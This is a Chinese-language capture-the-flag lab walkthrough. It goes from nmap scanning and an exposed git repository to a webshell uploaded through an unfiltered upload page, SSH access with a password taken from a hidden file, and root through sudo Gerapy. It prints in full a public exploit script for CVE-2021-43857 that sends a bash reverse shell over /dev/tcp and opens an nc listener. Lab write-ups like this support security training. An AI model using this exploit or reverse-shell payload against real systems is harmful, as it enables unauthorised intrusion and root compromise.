靶场来源:公众号:PTEHub,关注公众号:PTEHub 获取最新靶场资源
靶场类型:单局域网
使用nmap进行扫描,获取到如下信息
通过扫描后发现开放了22和80端口,并得到了git存储库,我们访问链接查看源代码
查看源码库中 fileupload.php和documents.php 文件代码如下:
fileupload.php 文件中存在学生图片路径和学生文件路径,并未对上传的文件类型进行过滤
documents.php 文件中引用了 fileupload.php 文件
访问 10.35.0.119/documents.php 后得到一个未授权的文件上传页面,尝试上传一句话木马,并用工具进行连接
通过上传一句话木马和工具成功连接,对用户文件的查看后得知存在sandra用户
此时我们权限较低,无法查看 sandra 下的user.txt 文件,对文件目录的查看后发现在 html 文件下存在一个隐藏文件 sandra_secret,查询文件后发现存在一串疑似密码的字符串
尝试用获取的密码ssh登录 sandra 用户,登录成功后,重新查看 sandra 目录的下的 user.txt 文件得到 flag
此时我们已经从 www-data 低权限用户提权到可以查看一些文件的 sandra 用户,但是还没有权限访问 root,我们通过sudo -l 命令查看敏感信息,发现可以使用 gerapy
Gerapy 是一款分布式爬虫管理框架,支持 Python 3,基于 Scrapy、Scrapyd、Scrapyd-Client、Scrapy-Redis、Scrapyd-API、Scrapy-Splash、Jinjia2、Django、Vue.js 开发,Gerapy 可以帮助我们:
1.更方便地控制爬虫运行
2.更直观地查看爬虫状态
3.更实时地查看爬取结果
4.更简单地实现项目部署
5.更统一地实现主机管理
6.更轻松地编写爬虫代码(几乎没用,感觉比较鸡肋)
gerapy在这里可以使用sudo来进行权限提升的原因是因为 gerapy在这里执行sudo不需要密码验证
通过在网上搜索相关漏洞,发现exploit-db存储有该漏洞的exp
在 kail本地下创建一个测试脚本(确认版本为可使用版本)
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) - Python remote ExploitGerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated). CVE-2021-43857 . remote exploit for Python platformhttps://www.exploit-db.com/exploits/50640
# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/Gerapy/Gerapy
# Version: All versions of Gerapy prior to 0.9.8
# CVE: CVE-2021-43857
# Tested on: Gerapy 0.9.6
# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.
#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import json
import subprocess
banner = pyfiglet.figlet_format("CVE-2021-43857")
print(banner)
print('Exploit for CVE-2021-43857')
print('For: Gerapy < 0.9.8')
login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED
class Exploit:
def __init__(self, target_ip, target_port, localhost, localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport
def exploitation(self):
payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""
#Login to the app (getting auth token)
url = "http://" + target_ip + ":" + target_port
r = requests.Session()
print("[*] Resolving URL...")
r1 = r.get(url)
time.sleep(3)
print("[*] Logging in to application...")
r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
time.sleep(3)
if (r2.status_code == 200):
print('[*] Login successful! Proceeding...')
else:
print('[*] Something went wrong!')
quit()
#Create a header out of auth token (yep, it's bad as it looks)
dict = json.loads(r2.text)
temp_token = 'Token '
temp_token2 = json.dumps(dict['token']).strip('"')
auth_token = {}
auth_token['Authorization'] = temp_token + temp_token2
#Get the project list
print("[*] Getting the project list")
r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)
time.sleep(3)
if (r3.status_code != 200):
print("[!] Something went wrong! Maybe the token is corrupted?")
quit();
#Parse the project name for a request (yep, it's worse than earlier)
dict = r3.text # [{'name': 'test'}]
dict2 = json.dumps(dict)
dict3 = json.loads(dict2)
dict3 = json.loads(dict3)
name = dict3[0]['name']
print("[*] Found project: " + name)
#use the id to check the project
print("[*] Getting the ID of the project to build the URL")
r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
time.sleep(3)
if (r4.status_code != 200):
print("[*] Something went wrong! I can't reach the found project!")
quit();
#format the json to dict
dict = r4.text
dict2 = json.dumps(dict)
dict3 = json.loads(dict2)
dict3 = json.loads(dict3)
id = dict3['id']
print("[*] Found ID of the project: ", id)
time.sleep(1)
#netcat listener
print("[*] Setting up a netcat listener")
listener = subprocess.Popen(["nc", "-nvlp", self.localport])
time.sleep(3)
#exec the payload
print("[*] Executing reverse shell payload")
print("[*] Watchout for shell! :)")
r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
listener.wait()
if (r5.status_code == 200):
print("[*] It worked!")
listener.wait()
else:
print("[!] Something went wrong!")
listener.terminate()
def get_args():
parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
args = parser.parse_args()
return args
args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport
exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()
使用 sudo 执行 gerapy 命令,如果不使用sudo执行,后续反弹回来的shell将会是sandra的权限,因为使用了sudo,那么gerapy的权限就为root,弹回来的shell也就继承了该权限。
开始初始化 gerapy,并在 projects 子文件下也进行初始化,
如果不进行第二次初始化,会产生报错,这是一个坑。
初始化数据库完成
创建超级用户完成
运行 gerapy 服务
在本地执行测试脚本文件 exp.py ,权限继承到 root 用户
最后提权到 root 用户,提权成功,查看 root.txt 文件得到 FLAG!!!